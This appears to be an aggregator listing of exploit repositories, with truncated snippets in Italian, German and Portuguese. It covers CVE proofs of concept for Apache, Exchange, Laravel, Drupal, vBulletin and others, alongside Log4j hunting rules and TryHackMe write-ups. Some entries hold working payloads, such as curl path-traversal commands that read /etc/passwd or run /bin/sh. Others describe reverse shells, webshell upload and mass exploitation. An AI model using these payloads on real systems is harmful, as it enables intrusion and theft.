cve-2021-41773

cve-2021-41773 CVE-2021-41773 Vulnerabilità di Path Traversal in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Seguici Vulnmachines...

CVE-2019-0708

CVE-2019-0708 BlueKeep Derzeit veröffentliche ich nur die Exploit-Notiz für Windows 7 x64. Siehe NOTE.md Hinweis: Windows 2008 R2 mit Standardkonfiguration fDisableCam=1 kann ausgenutzt werden. Die Zuverlässigkeit ist dieselbe wie bei Windows 7. Update Juli 2020 Informationen für Windows Server...

tech-seminar-React2Shell

React2Shell CVE-2025-55182 Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código RCE explorando a falha de design do React Server Component RSC, React2Shell Equipe...

CVE-2022-25581

CVE-2022-25581 Im gesamten Internet nicht auffindbar – hier als Backup hinterlegt. Python-Exploit-Skript zur automatischen Durchführung der folgenden Schritte: ✅ Ziele des Skripts 1. Im Backend anmelden csrf und token abrufen 2. Ein bösartiges Request-Paket konstruieren, um ein Archiv mit Webshel...

confluence-rce-poc

confluence-rce-poc Einrichten des POC für CVE-2021-26084 Docker Gebe das offizielle docker-entrypoint.sh an postgres weiter, ändere DB-Benutzername und Passwort nach Bedarf...

geoserver-

Strumento di exploit per geoserver CVE-2024-36401 geoserver CVE-2024-36401 Ambiente: JDK8. Dichiarazione: solo per test autorizzati. L'utente è responsabile di ogni conseguenza derivante da un uso improprio; l'autore non è coinvolto. Si prega di rispettare leggi e regolamenti! 1、Payload...

CVE-2020-17530

CVE-2020-17530 s2-061 poc:...

CVE-2019-7609

CVE-2019-7609 Docker-Lab-Setup für kibana-7609 Referenz : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Öffne Kibana Füge eines der folgenden Payloads in den Timelion-Visualizer ein Klicke auf Run Klicke im linken Panel auf Canvas Deine Reverse-Shell sollte erscheinen ! : Payload von...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Recentemente, encontramos uma vulnerabilidade no /type.php do código-fonte do phpcms 2008. Quando atacantes enviam requisições maliciosas como "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", conteúdo malicioso neste caso "@unlinkFILE;assert$POST1;" será...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Vulnerabilità di esecuzione remota di codice su Microsoft Exchange Server. Questa errata normalizzazione degli URL ci permette di accedere a un URL arbitrario del backend mentre siamo eseguiti come account macchina del server Exchange. Sebbene questo bug n...

CVE-2021-3129

CVE-2021-3129 Strumenti di scansione di massa per Laravel = V8.4.2 Debug Mode Remote Code Execution RCE | Python Riferimenti Ambionics.io PHPGCC Catena PHPGCC Laravel/RCE1 Laravel/RCE2 Laravel/RCE3 Laravel/RCE4 Laravel/RCE5 Laravel/RCE6 Laravel/RCE7 Monolog/RCE1 Monolog/RCE2 Monolog/RCE3...

CVE-2021-44228

Panoramica Questo repository contiene regole OpenIOC per facilitare la caccia agli indicatori di compromissione relativi alla vulnerabilità di esecuzione di codice remoto di Apache Log4j 2 CVE-2021-44228. Queste regole sono considerate regole di hunting e, in quanto tali, l'efficacia del...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Vulnerabilità di esecuzione remota di comandi nel framework Spring CVE-2022-22965 Spring-Core-RCE è uno sfruttamento RCE一键 paragonabile per gravità alla vulnerabilità nucleare Apache Log4j2 Panoramica Recentemente, nella issue ufficiale di Spring su GitHub, è stata menzionata una...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 Una descrizione della room Vulnerability Capstone su THM e script di exploit per CVE-2018-16763. CREDITS Non rivendico il merito della scoperta di questa vulnerabilità. Grazie alle seguenti persone. Scoperta della vulnerabilità: 0xd0ff9 Room TryHackMe &...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 Ein Write-up zur Steel Mountain Box von TryHackMe.com und Exploit für CVE-2014-6287 Credits Ich maße mir nicht an, die ursprüngliche Entdeckung und Ausnutzung dieser Schwachstelle selbst gemacht zu haben. Vielen Dank an die folgenden Personen! Entdeckung: Daniele...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Ricerca Pulse Secure mitm Data di rilascio Data di rilascio congiunta con il fornitore: 26 ottobre 2020 Autore David Kierznowski, @withdk Riconoscimenti Sahil Mahajan del Pulse Secure PSIRT Team per il supporto durante il processo di divulgazione. Alyssa Herrera,...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2021-44077

CVE-2021-44077 Proof of Concept Exploit für CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus msiexec.exe Führen Sie pip install für die Requirements-Datei aus, oder stellen Sie sicher, dass das requests-Paket installiert ist. Wenn Sie eine Reverse Shell empfangen möchten, starten Sie...

CVE-2019-6340

CVE-2019-6340 Solo a scopo educativo Esecuzione root@kitploit: $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Exploit GET root@kitploit: $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

CVE-2025-48827

Descrizione: RCE per versioni di Vbullettin tra 5.0.0 - 5.7.5 e 6.0.0 - 6.0.3 con PHP 8.1 Caratteristiche: Multithread Legge più target da file Rileva siti web Vbullettin Controlla la vulnerabilità e, in caso di successo, carica una webshell PHP Dettaglio di utilizzo: usage: CVE-2025-48827.py -h...